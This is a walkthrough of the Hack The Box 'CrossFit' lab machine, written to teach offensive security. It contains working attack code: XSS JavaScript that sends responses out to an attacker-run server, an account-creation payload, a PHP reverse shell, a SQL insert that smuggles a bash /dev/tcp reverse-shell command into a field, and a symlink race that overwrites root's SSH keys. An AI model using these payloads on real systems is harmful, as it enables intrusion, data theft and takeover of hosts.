Hack The Box - CrossFit Walkthrough without Metasploit

Enumeration

Let's start by running nmapAutomator on our target:

nmapAutomator 10.10.10.208 All

The Basic Nmap scan returns the following:

Ports

We have the following ports open

21

FTP port, the information we got from this is interesting as we can see on commonName *.crossfit.htb host, there is a way of grabbing more information about that ssl-cert, openssl:

openssl s_client -connect 10.10.10.208:21 -starttls ftp -servername 10.10.10.208

We were able to find gym-club.crossfit.htb hostname thanks to the emailAddress

22

This is the SSH (Secure Shell) port, we might be able to use it later to log in if we find any valid username and its password or its rsa key.

80

We have a http port open, on port 80 running Apache2

Adding Hostnames

We have discovered gym-club.crossfit.htb so let's add that to our hostnames

sudo nano /etc/hosts

Gobuster

Now with the new hostname we can see there is a Crossfit Gym web page

Meanwhile we are looking through the web lets run a gobuster scan:

gobuster dir -u http://gym-club.crossfit.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -e 

Tried different wordlists without any more luck than this:

But we did not find much out of the scan this time.

Webpage

Back to manually search the page we tried to look for some LFI, RFI, CSRF, XSS...

We have a form in the blog-single.php page on where we can leave comments, let's try to leave one:

They didn't seem to like our comment... But the important part is that they are generating a report with our IP and browser information, that means they are getting that info from our User-Agent, lets fire up Burp

Burp

We intercept the web request to post comment with Burp and change the User-Agent to try and grab something from our host, for that we have to first prepare a http server:

python -m SimpleHTTPServer 80

If we want to use port 80, we can omit it if we want since it's the one that will be used by default.

We send the intercepted post request to the Repeater and there we change the User-Agent

User-Agent: <script src="http://IP/testing"></script>

We are using a Post Request which will also trigger the report generation for the XSS detection

As we can see it tries to grab something from our host, searching on google we could find some interesting information about CSRF (Cross Site Request Forgery)

So, with this information we are going to try and execute some JavaScript payload on the victim's end, some information about how to create our payload can be found here:

XSS - Foothold

request = new XMLHttpRequest;
request.onreadystatechange = function() {
   if (request.readyState == 4) {
      req = new XMLHttpRequest;
         req.open('GET', 'http://<Our-IP>/' + btoa(this.responseText),false);
	 req.send();
   }
}
request.open('GET','http://gym-club.crossfit.htb',false);
request.send();

Basically, with this script what we do is perform a request on a web page FROM the victims end and send the response to our http server.

The first problem we encounter is that we do not know all the vhosts of the victim and with the one we discovered gym-club.crossfit.htb won't be enough, personally since we did found an ftp server we couldn't access I tried ftp.crossfit.htb and hit a jackpot with it, but thanks to JustAhmed we have a clever way of finding the valid vhosts.

We start a SimpleHTTPServer and run this script:

import requests
from time import sleep

x = open("/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt").readlines()
subs = [sub.rstrip() for sub in x]

payload = '''var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
        if (this.readyState == 4) {
            var xhttp2 = new XMLHttpRequest();
        xhttp2.open("GET", "http://<Our-Ip>/" + "---> %s <---" + btoa(this.responseText), false);
        xhttp2.send();
       }
    };
xhttp.open("GET", "http://%s.crossfit.htb", false);
xhttp.send();'''

headers = {"User-Agent": "<script src=http://<Our-Ip>/jA.js></script>"}
triggerXSS = {'name': 'a', 'email': 'a@a.com', 'phone': 'a', 'message': '<script>alert(1)</script>', 'submit': 'submit'}



for i in subs:
    jsFile = open('jA.js', 'w')
    jsFile.write( payload % (i, i) )
    jsFile.close()
    x = requests.post("http://gym-club.crossfit.htb/blog-single.php", data = triggerXSS, headers=headers)
    sleep(3)

This script is basically the one we saw before but changing the VHOST requested on each petition so with the response we can discover which one is a valid one. With this we discovered ftp.crossfit.htb

So, we can modify our script and point to that vhost:

request = new XMLHttpRequest;
request.onreadystatechange = function() {
   if (request.readyState == 4) {
      req = new XMLHttpRequest;
         req.open('GET', 'http://<Our-IP>/' + btoa(this.responseText),false);
	 req.send();
   }
}
request.open('GET','http://ftp.crossfit.htb',false);
request.send();

With this new payload we will get the following response:

It seems that ftp.crossfit.htb allows us to create an account so let's tweak our payload a bit more and request the /accounts/create page:

request = new XMLHttpRequest;
request.onreadystatechange = function() {
	if (request.readyState == 4) {
		req = new XMLHttpRequest;
		req.open('GET', 'http://Your-Ip/' + btoa(this.responseText),false);
		req.send();
	}
}
request.open('GET','http://ftp.crossfit.htb/accounts/create',false);
request.send();

As we can see this new page has a form to create a new account and a token, so let's modify our payload once more to create a new account:

request = new XMLHttpRequest;
request.withCredentials = true;
request.onreadystatechange = function() {
        if (request.readyState == 4) {
                req = new XMLHttpRequest;
                req.open('GET', 'http://<Your-Ip>/' + btoa(this.responseText),false);
                req.send();
        }
}
request.open('GET','http://ftp.crossfit.htb/accounts/create',false);
request.send();

var test = request.responseText;
var test = test.slice(test.indexOf("token"));
var token = test.slice(test.indexOf('=')+2,test.indexOf(">")-1);
var params = '_token='+token+'&username=<USERNAME>&pass=<PASSWORD>&submit=submit';

request.open('POST', 'http://ftp.crossfit.htb/accounts',false);
request.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
request.send(params);

Since the token can change from one request to another we first request the accounts create page and then grab that token and use it to create a new account with our username and password.

FTP

We have created an account successfully with our username and password, let's try out the FTP port now with our credentials.

We tried to log in with our username and it seems not to work, it says that we need encryption, one way to connect will be using FileZilla so we can see and accept the certificate upon connecting.

Once we log in we look for files to read or places to write to:

It seems that we can only write inside development-test, so let's place there our reverse.php

We have to modify the file, if we look closely we need to be able to execute it if we want a reverse shell:

We can infer that development-test is another VHOST so let's modify our payload in order to make a request from crossfit box to that reverse.php and gain our entrance to the box, for that we will need to have a netcat listener ready, the reverse.php is the reverse shell from pentestmonkeys with our ip and port 443.

As www-data we can't do much except create a folder under /var/www/development-test.

We create a folder there and get linpeas to the box and execute it getting this interesting information:

With that hash we can attempt to crack it, first let's identify the hash with hashcat, since hashcat help shows all the hash modes...

hashcat -h | grep '$6'

Now we can attempt to crack it:

hashcat -m 1800 -a 0 <fileWithHash> <wordlist>

Privilege Escalation

User Hank

Hank // powerpuffgirls

We can attempt to log in through SSH with our new user//credentials:

Let's run again linpeas now in our Hank context:

If we try to read it:

So, this file is connecting to the database and if there is any file on the msg directory then it connects to the database and make a select on the mails from users. We also found the database credentials:

crossfit // oeLoo~y2baeni

We cannot access that directory or do anything with it with our current user, there's another ftp user:

on /var/lib/pam we found ftpadm credentials, a bit of information about PAM

We cannot su to ftpadm but we can use FileZilla to connect as ftpadm:

And we can see the messages folder! We can just drop there any file for the previous cron job to execute the select query, but first, let's introduce our payload in the database.

User Isaac

Insert the payload in the database:

insert into users (id,email) values (1, "-E $(bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1')");

We use the -E since it's an option that does not exists and then it will execute our next command, which happens to be a reverse shell.

Prepare a netcat listener on port 443

nc -nvlp 443

Now we can connect to FileZilla as ftpadm and drop under messages folder any file, for example our last used reverse.php (the file you put there won't matter much as the important thing is the payload on the database)

And we are in as Isaac:

We are going to run pspy and also we want to look for anything interesting so in order to be able to log as isaac properly and on multiple shells we create a .ssh folder and inside we place our authorized_keys generated with:

ssh-keygen -f sshForIsaac

Get pspy on the box and run it with -pf -i <userID>

wget <Your-Ip>/pspy64
chmod +x pspy64
./pspy64 -pf -i 1000

We found dbmsg running with pspy:

We transfer that binary to our box and analyse it with Ghidra (Thanks to Foxtrot for helping me out setting up Ghidra ;) )

We install it and open up Ghidra:

Now we click on CodeBrowser

Import File

Select the binary we have transferred to our box.

Analyse the binary

We can leave the options ticket by default and click on Analyse.

Now we wait a bit for Ghidra to analyse it and then on the left side under Symbol Tree we can find the Functions and there we can see main unction

The main function says that this program if its running, it has to run as root, so if we can abuse it, we will be able to escalate to root. Let's see the function process_data(). We can rename the variables of the main function, pressing the letter "l" while selecting the var, it will make it more human readable:

Main function does the following:

  1. Connects to mysql db and retrieve the msgs.

  2. Md5 the stringName

  3. make the path to be like /var/local/md5StringName(RandomNumber+ID)

  4. Attempt to open the file or create it if it doesn't exist and write there the contents of rows 1,3,2 on it.

  5. Gets the old zip, open it in source mode add the new file and save it

As we can see on the image this is the rand() function which generates a random number with the seed srand(time(NULL)); This makes use of the computer's internal clock to control the choice of the seed, but Remember, if the seed number remains the same, the sequence of numbers will be repeated for each run of the program. We will use that in our advantage to exploit this program.

Privilege Escalation to Root

In order to escalate to root we will need to create the file that the programs want to write on, so we are the owners of the file, and, let the program write on that file a payload we will insert on the db.

First we will write a program to generate the random numbers:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void main(){

   srand(time(NULL));
   printf("%i",rand());

}

We compile it and transfer it to the box:

gcc randomNumber.c -o random

We place it under the directory that the program is going to be creating the files in so our command will be shorter

We have to create a ssh-key that fits on the database column:

ssh-keygen -t ed25519 -f rootssh 

Start running a while loop creating files with the same syntax as the program is:

while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./random)<ID> | md5sum | cut -d " " -f 1) 2>/dev/null; done;

We connect again to the mysql crossfit database and under messages we insert:

insert into messages (id,name,email,message) values(1,'ssh-ed25519','whatever','YourSSHPubString');

Pwnd

If everything worked we would be able to ssh in as root with our key

Last updated